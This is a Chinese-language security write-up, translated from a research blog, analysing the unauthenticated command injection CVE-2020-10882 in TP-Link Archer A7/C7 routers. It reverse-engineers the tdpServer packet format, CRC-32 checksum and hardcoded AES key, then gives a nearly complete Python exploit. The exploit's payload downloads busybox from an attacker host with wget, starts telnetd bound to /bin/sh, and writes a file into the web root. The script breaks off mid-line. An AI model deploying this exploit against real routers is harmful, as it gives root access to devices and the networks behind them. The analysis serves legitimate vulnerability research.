TP-Link Archer A7路由器命令注入漏洞的分析与利用
2020-11-19 10:34:13 Author: www.4hou.com(查看原文) 阅读量:425 收藏

导语:这篇文章将详细分析和实现CVE-2020-10882远程代码执行的漏洞的利用,此漏洞是在Pwn2Own 2019中TP-Link Archer C7上的命令注入漏洞。

这篇文章将详细分析和实现CVE-2020-10882远程代码执行的漏洞的利用,此漏洞是在Pwn2Own 2019中TP-Link Archer C7上的命令注入漏洞。

此漏洞使网络附近的攻击者可以在TP-Link Archer A7 AC1750路由器的受影响版本上安装执行任意代码,利用此漏洞不需要任何身份验证。

漏洞成因是tdpServer服务中存在特定缺陷,该服务默认情况下侦听UDP端口20002。解析slave_mac参数时,该过程在使用用户执行的系统调用之前未正确验证用户提供的字符串,攻击者可以利用此漏洞在root用户的上下文中执行代码。

0x01 环境配置

本文中,调试和大多数分析都是在路由器上完成的。关于如何通过USB-TTL设备从路由器获取交互式shell的说明和文章,此处将不介绍。OpenWRT在此处此处均提供了使用指南。

https://forum.openwrt.org/t/solved-archer-c7-ru-v5-install-throught-uart/28948/8
https://openwrt.org/toh/tp-link/archer-c7-1750#tab__hardware_details

对于代码分析,使用绑定方法来定位漏洞函数。可以从下面下载漏洞版本固件和补丁版本固件:

补丁版本: Archer A7(US)_V5_200220 漏洞版本: Archer C7(US)_V5_190726

https://static.tp-link.com/2020/202003/20200313/Archer A7(US)_V5_200220.zip
https://static.tp-link.com/2019/201908/20190816/Archer C7(US)_V5_190726.zip

请注意,Archer C7和A7系列共享了大多数二进制文件,因此从技术上讲,我们分析的是C7或A7固件映像都没有关系。

0x02 BinDiffing

我要做的第一件事是从固件中提取MIPS(Big Endian)二进制文件并将其加载到Ghidra中。由于我对Ghidra的分析没有太多经验,因此我按照BinDiffHelper项目的说明进行操作。此外,下载并安装bindiff6

https://github.com/ubfx/BinDiffHelper
https://www.zynamics.com/bindiff/manual/

使用Ghidra和Bindiff分析后,有一些函数的相似度很低。

image-20201112224554214.png

跟踪这些地址,我发现其中一些实际上是字符串的地址,只有FUN_00414D14函数似乎是相关功能函数,也许这就是漏洞函数。

0x03 静态分析

在这里,我将说明为什么此函数似乎是我们分析的重点。首先,参考ZDI上的CVE报告说明(重点已添加):

tdpServer服务中存在特定缺陷,该服务默认情况下侦听UDP端口20002。解析slave_mac参数时,该过程在使用用户执行的系统调用之前未正确验证用户提供的字符串。攻击者可以利用此漏洞在root用户的上下文中执行代码。

从描述中,我们看到其中有一个slave_mac的变量,这似乎是需要控制的参数。在反编译中,我还发现运行此二进制文件时会转储许多详细信息。

漏洞函数

搜索slave_mac发现一些信息:image-20201112224631322image-20201112224631322.png

点击第一个搜索结果,有多个包含字符串slave_mac的地方。

在这里我们看到还有对函数FUN_00414d14的引用。这意味着这是我们感兴趣的地方,对于其他函数,Bindiff反馈它们之间没有联系。

"tdpUciInterface.c:644","About to get slave mac %s info"字符串所在的函数,该函数很可能是slave_mac解析前将要获得的。该字符串只有一个引用,即地址0x40e7e4。根据Bindiff的分析这里没有太多差异。

第三个字符串Failed tdp_onemesh_slave_mac_info!是在同一个函数作为第一个字符串中找到slave_mac的FUN_00414d14。

对于最后一个字符串slave_mac_info,我找不到任何函数的引用。

system()函数

根据CVE的描述,它提到了系统调用,这很可能意味着对system()函数的调用,而不是对内核的系统调用。现在的计划是寻找带有攻击者可以控制的参数的函数调用。

至少有3个系统调用调用了FUN_00414d14函数

image-20201112224703564.png

根据Bindiff的结果,只有0x411790对0x414d14进行了一些更改。但是,在函数0x411790中,我们无法对其进行控制,因此排除此函数。

这意味着我们已经缩小了函数范围0x414d14。在所有三个系统函数中,有一个system()是未对参数进行硬编码:

snprintf(interesting_acStack7432,0x1ff,
  "lua -e \'require(\"luci.controller.admin.onenmesh\").sync_wifi_specified({mac=\"%s\"})\'"
  , to_be_controlled_acStack4248);

0x04 漏洞利用开发

在该漏洞函数中,可以通过slave_mac值控制参数,并且从JSON有效内容解析时,路由器中没有检查。这意味着,如果我们可以制作有效的payload,则最终可以控制传递给system()的内容。

经过分析,我们可以继续以下内容:

1. 为MIPS Big Endian设置GDB服务器

2. 测试与tdpServer的连接

3. payload开发

4. 漏洞利用

设置GDB服务器

从路由器获得shell后,可以在计算机上设置HTTP服务器传输gdbserver.mipsbe到路由器,以便我们可以从计算机进行调试。

要设置gdbserver,请在目标路由器上使用以下命令:

$ wget http:///gdbserver.mipsbe
$ chmod +x gdbserver.mipsbe
$ ./gdbserver.mipsbe 0.0.0.0:8908 /usr/bin/tdpServer

路由器会侦听我们要调试的端口。

现在,在你的计算机上,我们必须确保已安装gdb-multiarch,并将架构设置为“ mips”,并将字节序设置为big:

gdb-multiarch
...
...
gef➤  set arch mips
The target architecture is assumed to be mips
gef➤  set endian big

现在我们可以调试tdpServer了。

连接tdpServer

确保在管理界面中将路由器的操作模式设置为“router”。要连接到tdpServer,我们可以通过UDP发送数据包。

image-20201112224829177.png

因此,我们可以编写一个Python脚本通过UDP端口20002发送数据:

import socket
IP="192.168.0.254"
PORT=20002
addr = (IP,PORT)
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

s.sendto(b'0x01'*16,(IP,PORT))

可以看到,sn注册后checksum变成了0x01010101,这意味着通过UDP数据包发送到路由器20002端口的数据是从正在运行的进程中发出的。image-20201112224857898image-20201112224857898.png

我们可以一会看看逆向tdp数据包会发生什么。

TDP数据包解密

为此,逆向反编译代码对于了解带有payload的数据包的格式以及如何处理就至关重要。

payload由一个16字节的数据包头组成,后跟一个发送的最大0x410 JSON payload。

数据包的第一个字节表示tdp版本。对于此固件,版本1是可以接受的数据包。它还将检查数据包的长度,使其最大长度应为0x410(包括其标头),并且不应小于16,因为其整个标头的长度为16个字节。

完成这些检查后,将计算数据包的校验和,以对照数据包头中的校验和进行检查。如果校验和正确,则需要在CBC模式下使用IV和DecryptKey使用AES_DECRYPT解密payload。

显然,256位IV [ 1234567890abcdef1234567890abcdef]和DecryptKey [ TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP]被截断为128位,因此它们分别是1234567890abcdef和TPONEMESH_Kf!xn?。

可以使用以下Python代码段进行加密:

from Crypto.Cipher import AES

decryptKey = "TPONEMESH_Kf!xn?"
ivec = "1234567890abcdef"

BLOCKSIZE = 16
pad = lambda s: s + (BLOCKSIZE - len(s) % BLOCKSIZE) * chr(BLOCKSIZE - len(s) % BLOCKSIZE)
unpad = lambda s : s[:-ord(s[len(s)-1:])]

def AESEncrypt(payload):
    payload = pad(payload)
    cipher = AES.new(decryptKey[:16],AES.MODE_CBC,ivec[0:16])
    encText = cipher.encrypt(payload)
    return encText

然后将解析解密的payload,这些是解析器寻找的字段:

· method

· data

· onemesh.onemesh.group_id

· ip

· slave_mac

· slave_private_account

· slave_private_password

· want_to_join

· model

· product_type

· operation_mode

在这里可以找到slave_mac`字段,这也是我们需要控制的地方。

调试分析

设置这些断点以帮助我进行调试。

set arch mips
set endian big
target remote 192.168.0.254:8899
b*0x0040cfe0  
b*0x0040c9d0   # checksum check
b*0x0040d04c   # prints if length is ok
b*0x0040d160   # Hits here when over maxlength 
               # and before checksum
b*0x0040d0fc   # checksum FAILED
b*0x0040d060   # checksum PASSED !!
b*0x0040ca24   # This is when it is to check the current checksum in the packet sent
b*0x0040ca5c   # This is the comparison between current checksum and the calculated checksum

我们可以使用这些引用来检查我们是否在目标函数的路径上。

现在,仅通过发送数据,我们看到如果发送的数据长度在有效范围内,它将检查位于函数0x0040c9d0中的校验和。

iVar4 = cmp_new_and_old_checksum_FUN_0040c9d0(recv_buffer,iVar4);

在cmp_new_and_old_checksum_FUN_0040c9d0函数中,它将计算校验和并将其与当前校验和进行比较。

undefined4 cmp_new_and_old_checksum_FUN_0040c9d0(byte *recvBuffer,int packetLen)

{
  byte sn;
  int temp;
  uint newCheckSum;
  char *errorLoc;
  char *errorMsg;
  uint currChecksum;
  
  if ((recvBuffer != (byte *)0x0) && (temp = hex_0x410_FUN_0040d608(), packetLen <= temp)) // checks for length range
  {
    temp = check_if_first_byte_is_one_FUN_0040d644((uint)*recvBuffer);
    if (temp == 0) { // First byte cannot be 0 else version error
      currChecksum = (uint)*recvBuffer;
      errorLoc = "tdpdServer.c:591";
      errorMsg = "TDP version=%x";
    }
    else {
      currChecksum = *(uint *)(recvBuffer + 0xc); // structure field checksum
      *(undefined4 *)(recvBuffer + 0xc) = 0x5a6b7c8d; // replace with magic checksum
      newCheckSum = calculate_new_checksum_FUN_004037f0(recvBuffer,packetLen);
      MessagePrint("tdpdServer.c:599","TDP curCheckSum=%x; newCheckSum=%x",currChecksum,newCheckSum)
      ;// super useful debug message
      if (currChecksum == newCheckSum) {
        *(uint *)(recvBuffer + 0xc) = currChecksum;
        if ((uint)*(ushort *)(recvBuffer + 4) + 0x10 == packetLen) {
          sn = recvBuffer[1];
          if ((sn == 0) || (sn == 0xf0)) {
            MessagePrint("tdpdServer.c:643","TDP sn=%x",*(undefined4 *)(recvBuffer + 8));
            return 0;
          }
          errorLoc = "tdpdServer.c:634";
          errorMsg = "TDP error reserved=%x";
          currChecksum = (uint)sn;
        }
        else {
          errorLoc = "tdpdServer.c:611";
          errorMsg = "TDP pkt has no payload. payloadlength=%x";
          currChecksum = (uint)*(ushort *)(recvBuffer + 4);
        }
      }
      else {
        errorLoc = "tdpdServer.c:602";
        errorMsg = "TDP error checksum=%x";
      }
    }
    MessagePrint(errorLoc,errorMsg,currChecksum);
  }
  return 0xffffffff;
}

此处再次检查数据包的长度,以确保它在有效范围内。之后,它将检查缓冲区是否不为空。一旦确认,它将检查第一个字节是否为1字节。事实证明,tdpServer有不同的版本,并且该版本仅支持第一个字节中值为0x1的数据包数据。

路由器将存储由数据包(oldChecksum)给出的校验和,然后用固定值0x5a6b7c8d替换数据包中的校验和字段。然后,该函数calculate_new_checksum_FUN_004037f0将基于recvbuffer计算校验和,以更新校验和,用于检查oldChecksum和更新的校验和进行比较。如果它们不相同,则检查失败,然后继续侦听更多信息。如果校验和相同,则将校验和也替换为数据结构。然后再次重新验证数据包的大小,以防止数据溢出。最后,对payload进行解密,然后解析JSON payload。

请注意,从索引1(recvBuffer[1])取一个值,并检查它是0还是0xF0。对于此漏洞利用,它必须为0xF0,这样它才能检查flag的开关情况。还可以看出,漏洞代码在switch case语句内。为此,我们需要将切换大小写为7才能得到大小6。

这是函数的相关部分:

  if ((recv_buffer->zeroOrFZero == 0xf0) /* NEEDS TO BE 0xF0 */ && (DAT_0042f0f0 == '\x01')) {
    if ((recv_buffer != (tdpPacketStruct *)0x0) &&
       (((memsettedBuffer != 0 && (param_4 != (int *)0x0)) &&
        (packetLen = FUN_0040e074(local_c8,numOfBytes), packetLen == 0)))) {
      MessagePrint("tdpdServer.c:883","recv ip is %x, my ip is %x",param_5,local_c8[0]);
      if (param_5 == local_c8[0]) {
        MessagePrint("tdpdServer.c:886","Ignore onemesh tdp packet to myself...");
      }
      else {
        MessagePrint("tdpdServer.c:890","opcode %x, flags %x",(uint)recv_buffer->opcode,
                     (uint)recv_buffer->flag);
        switch((uint)recv_buffer->opcode - 1 & 0xffff) {

        ...

        case 6: //switch((uint)recv_buffer->opcode - 1 & 0xffff) so 6 + 1 = 7
          if ((recv_buffer->flag & 1) == 0) {
            pcVar6 = "tdpdServer.c:958";
            pcVar7 = "Invalid flags";
          }
          else {
            packetLen = target_function_FUN_00414d14   (recv_buffer,numOfBytes,memsettedBuffer,param_4,param_5);
            if (-1 < packetLen) {
              return 0;
            }
            pcVar6 = "tdpdServer.c:952";
            pcVar7 = "error processing slave_key_offer request...";
          }

在调试消息的帮助下,我们发现数据包头包含以下结构:

struct tdpPacket {
    char tdpVersion;   // calc_checksum_FUN_0040c9d0
    char zeroOrFZero;  // 0xf0 is needed to get to targetted vuln function //function_accepting_packet_to_target_function_0040cfe0
    unsigned short packetLength; // checks_max_length_FUN_0040d620
    byte flag; //function_accepting_packet_to_target_function_0040cfe0
    char unknown;
    unsigned int sn;     // calc_checksum_FUN_0040c9d0; Sounds like serial number 
    unsigned int magicOrChecksum;     // calc_checksum_FUN_0040c9d0; Hardcoded value 0x5a6b7c8d for calculation before being replaced by new calculated checksum
    char data[0x400]; // JSON DATA

计算校验和

让我们看一下该算法,该算法用于计算反编译的校验和,校验和将基于整个数据包进行计算。所有这些字节都将进行异或运算,并执行一些算术运算。

uint calculate_new_checksum_FUN_004037f0(byte *recvBuffer,int packetLen)

{
  byte curr_packet_byte;
  uint result;
  byte *pbVar1;
  
  result = 0;
  if ((recvBuffer != (byte *)0x0) && (packetLen != 0)) {
    pbVar1 = recvBuffer + packetLen;
    result = 0xffffffff;
    while (recvBuffer < pbVar1) {
      curr_packet_byte = *recvBuffer;
      recvBuffer = recvBuffer + 1;
      // byte_data_DAT_00416e90 has 0x400 bytes of data 
      result = *(uint *)(&byte_data_DAT_00416e90 + ((curr_packet_byte ^ result) & 0xff) * 4) ^
               result >> 8;
    }
    result = ~result;
  }
  return result;
}

将其转换为Python:

checksumTable = [0x00,0x00,0x00,0x00,0x77,0x07,0x30,0x96,0xee,0x0e,.........,0xef,0x8d]

def calcChecksum(packet):
    result = 0xffffffff
    for i in range(len(packet)):
        currChar = packet[i]
        temp1 = ((ord(currChar)^result)&0xff) * 4 
        temp2 = ((checksumTable[temp1])&0xff)<<24
        temp2 |= ((checksumTable[temp1+1])&0xff)<<16
        temp2 |= ((checksumTable[temp1+2])&0xff)<< 8
        temp2 |= ((checksumTable[temp1+3])&0xff)
        temp3  = result>>8
        result = temp2^temp3
    result = result ^ 0xffffffff
    print("==>  Calculated checksum : " + hex(result))
    return result

这其实是CRC-32算法,因此现在计算校验和变得更加容易了。

def calcChecksum(packet):
    result = zlib.crc32(packet.encode())
    print("==>  Calculated checksum : " + hex(result))
    return result

畸形数据包

这是一个测试脚本,用于加密和发送数据包中的某些数据。

def craftPacket():
    # this should return a crafted packet based on the reversed tdpPacket

    testEnc = "AAAABBBB"
    ct = AESEncrypt(testEnc)
    print("LENGTH : " + str(len(ct)))
    packet = "\x01"
    packet += "\xf0" # This is needed to get into same branch as the vuln
    packet += "\x00\x07" # to get into the switch case 6 bute the choice is x - 1 so we need 7 to get 6 for the vulnerability
    packet += "\x00\x10"# 16 since each block size is 16 
    packet += "\x01" # this is the flag and as long as it is not zero, we will pass a check 
    packet += "\x00" # Just put in some unknown data
    packet += "\xde\xad\xbe\xef" # this is the serial number. Doesnt seem to impact the flow so any is possible
    packet += calcChecksum(packet)
    packet += ct  # the encrypted cipher text
    return packet

将其添加到数据包的末尾并发送出去,我们会收到一条详细的日志消息,确认已成功解析了加密的payload:

DEBUG(tdpdServer.c:719)====>tdp pkt length is 32
DEBUG(tdpdServer.c:599)====>TDP curCheckSum=750273b; newCheckSum=750273b
DEBUG(tdpdServer.c:643)====>TDP sn=deadbeef
DEBUG(tdpUciInterface.c:441)====>lanip is 192.168.0.254
DEBUG(tdpUciInterface.c:442)====>lanmask is 255.255.255.0
DEBUG(tdpdServer.c:883)====>recv ip is c0a8007d, my ip is c0a800fe
DEBUG(tdpdServer.c:890)====>opcode 7, flags 1
tpapp_aes_decrypt() 226:decrypt key is TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP 
aes_dec() 197: inlen 16, strlen(in) 16 
0x6d 0x8d 0xf6 0xed 0xb7 0x90 0x2e 0x2f 0x88 0xc7 0x42 0x32 0x7a 0x8b 0x2e 0x88 aes_dec() 203: data end 
DEBUG(tdpOneMesh.c:2899)====>plainLen is 16, plainText is AAAABBBB
DEBUG(tdpOneMesh.c:2915)====>Enter..., rcvPkt->payload is AAAABBBB

现在我们可以看到要加密的消息,使用这些字段,我得到了粗略的模板信息。

{"method":"slave_key_offer","data":{"group_id":"8735fc23-b166-4f27-9acc-ec7cb15b98fb","ip":"192.168.0.125","slave_mac":"CONTROL THIS", "slave_private_account":"DEADBEEF", "slave_private_password":"CAFEBABE", "want_to_join":false, "model":"Archer C7","operation_mode":"Superman","product_type":"spiderman",}}

接下来,带有这些字段的JSON消息将如下所示:

def injectCommand(c):
    payload = '{"method":"slave_key_offer","data":{"group_id":"8735fc23-b166-4f27-9acc-ec7cb15b98fc","ip":"192.168.0.125","slave_mac":"XXXXXXXXXXXXXXXXXXXXXX", "slave_private_account":"DEADBEEF", "slave_private_password":"CAFEBABE", "want_to_join":false, "model":"Archer C7","operation_mode":"Superman","product_type":"spiderman"}}'
    payload = payload.split("XXXXXXXXXXXXXXXXXXXXXX")[0] + "';printf '" + c + "'>>p;'" + payload.split("XXXXXXXXXXXXXXXXXXXXXX")[1]
    return payload

命令注入

slave_mac字段用于将一个字符p打印到文件中,我们只能在此字段中输入17个字符,此处命令注入的工作方式如下。

lua -e 'require("luci.controller.admin.onemesh").sync_wifi_specified({mac=""})'

为了使命令注入正常工作,我们需要使用单引号终止Lua代码字符串,然后使用两个分号来分隔命令。

lua -e 'require("luci.controller.admin.onemesh").sync_wifi_specified({mac=" ';INJECT HERE;' "})'

在这里,我们已经使用了4个字符,剩下13个字符。此处使用的策略是将一个字符附加到文件中,然后在执行结果文件之前发送多个数据包以构建完整的脚本。我们可以使用shell命令来做到这一点,printf并将其重定向到单个字符文件名:

# printf 'x'>p is just 12 bytes so it is within reach
lua -e 'require("luci.controller.admin.onemesh").sync_wifi_specified({mac=" ';printf 'x'>p;' "})'

在将其设置为JSON格式后,使用带有硬编码IV和密钥的AES进行加密。

现在,将其附加到payload中,并更新payload长度,在用新计算的校验和替换校验和之前,将使用替代magic值计算校验和。

packet+= AESEncrypt(payload)
temp = packet[:4]
temp += p16(len(pad(payload)) , endian="big") # update the length of the padded payload
packet = temp + packet[6:]
calculatedChecksum = calcChecksum(packet)
result = packet[:12]
result += p32(calculatedChecksum , endian="big") # replaces the magic checksum with the calculated checksum
result += packet[16:]

现在,我们需要做的就是push此文件,并且在根目录中会看到一个名为p的新文件。

0x05 漏洞利用

要使用反向Shell进行利用,我们可以下载busybox,并通过wget命令写入一个图片到文件中,运行它来将telnetd用于反向shell连接。

from pwn import *
import socket
import time
from Crypto.Cipher import AES
import zlib

ATTACKERIP = "192.168.0.125"
ATTACKPORT = "8090"
fileName = "m"

COMMAND = "wget http://"+ATTACKERIP+":8000/busybox-mips -P /tmp;chmod +x /tmp/busybox-mips;/tmp/busybox-mips telnetd -l /bin/sh -p "+ATTACKPORT + " " + ATTACKERIP + ";wget http://" +ATTACKERIP+":8000/index.jpg -P /www;"

print("COMMAND : " + COMMAND)
decryptKey = "TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP"
ivec = "1234567890abcdef1234567890abcdef"

"""
decryptKey = "TPONEMESH_Kf!xn?"
ivec = "1234567890abcdef"
"""
BLOCKSIZE = 16
pad = lambda s: s + (BLOCKSIZE - len(s) % BLOCKSIZE) * chr(BLOCKSIZE - len(s) % BLOCKSIZE)
unpad = lambda s : s[:-ord(s[len(s)-1:])]

def AESEncrypt(payload):
    
    # the key looks like 256 bits long
    #>>> len("TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP")*8
    #256
    payload = pad(payload)
    #print("To encrypt : ")
    #print(len(payload))
    cipher = AES.new(decryptKey[:16],AES.MODE_CBC,ivec[0:16])
    #print("ENCRYPTED payload with iv " + ivec + ":  " )
    encText = cipher.encrypt(payload)
    return encText
    
def calcChecksum(packet):
    result = zlib.crc32(packet.encode())
    print("==>  Calculated checksum : " + hex(result))
    return result

def injectCommand(c):
    payload = '{"method":"slave_key_offer","data":{"group_id":"8735fc23-b166-4f27-9acc-ec7cb15b98fc","ip":"192.168.0.125","slave_mac":"XXXXXXXXXXXXXXXXXXXXXX", "slave_private_account":"DEADBEEF", "slave_private_password":"CAFEBABE", "want_to_join":false, "model":"Archer C7","operation_mode":"Superman","product_type":"spiderman"}}'
    payload = payload.split("XXXXXXXXXXXXXXXXXXXXXX")[0] + "';printf '" + c + "'>>" + fileName +  ";'" + payload.split("XXXXXXXXXXXXXXXXXXXXXX")[1]
    return payload

def injectCommandString(s):
    payload = '{"method":"slave_key_offer","data":{"group_id":"8735fc23-b166-4f27-9acc-ec7cb15b98fc","ip":"192.168.0.125","slave_mac":"XXXXXXXXXXXXXXXXXXXXXX", "slave_private_account":"DEADBEEF", "slave_private_password":"CAFEBABE", "want_to_join":false, "model":"Archer C7","operation_mode":"Superman","product_type":"spiderman"}}'
    payload = payload.split("XXXXXXXXXXXXXXXXXXXXXX")[0] + "';"+ s + ";'" + payload.split("XXXXXXXXXXXXXXXXXXXXXX")[1]
    return payload

def craftPacket(i,execute=False):
    packet = "\x01"
    packet += "\xf0" # This is needed to get into same branch as the vuln
    packet += "\x00\x07" # to get into the switch case 6 bute the choice is x - 1 so we need 7 to get 6 for the vulnerability ; Trying out big endian first TODO: need to check on the debugger that it is big endian
    packet += "\x01\x50"# Try with packet length = 0x11
    packet += "\x01" # this is the flag and as long as it is not zero, we will pass a check
    packet += "\x00" # Just put in some unknown data
    packet += "\xde\xad\xbe\xef" # this is the serial number. Doesnt seem to impact the flow so any is possible
    packet += p32(0x5a6b7c8d, endian="big")# This is the magic checksum

    payload = ""
    if execute == False:
        payload= injectCommand(i)
    elif execute == True:
        print("OKKKKKK")
        payload = injectCommandString('sh ' + fileName)
    #print("PAYLOAD: " + payload)
    packet+= AESEncrypt(payload)
    temp = packet[:4]
    temp += p16(len(pad(payload)) , endian="big") # update the length of the padded payload
    packet = temp + packet[6:]
    calculatedChecksum = calcChecksum(packet)
    result = packet[:12]
    
    result += p32(calculatedChecksum , endian="big") # replaces the magic checksum with the calculated checksum
    result += packet[16:]
    
    return result


def main():

    DEBUG = False
    countpause = 0 
    IP="192.168.0.254"
    PORT=20002
    addr = (IP,PORT)
    s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    counter  =  0
    if not DEBUG:
        for i in COMMAND:
            packet = craftPacket(i)
            #print("PACKET : " + packet) 
            if countpause %15 == 0 and countpause != 0:
                time.sleep(8)
            countpause += 1
            s.sendto(packet,addr)
            counter += 1
            print(str(counter) + "/" + str(len(COMMAND))) 
    executePayload = craftPacket("",execute=True)
    s.sendto(executePayload,addr)
    s.close()
    time.sleep(8)
    print("Enjoy your shell ~ ") 
    p =  remote("192.168.0.254", ATTACKPORT)
    print p.recvrepeat(0.5)
    p.sendline('echo -e "

本文翻译自:https://starlabs.sg/blog/2020/10/analysis-exploitation-of-a-recent-tp-link-archer-a7-vulnerability/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/Jl4K
如有侵权请联系:admin#unsafe.sh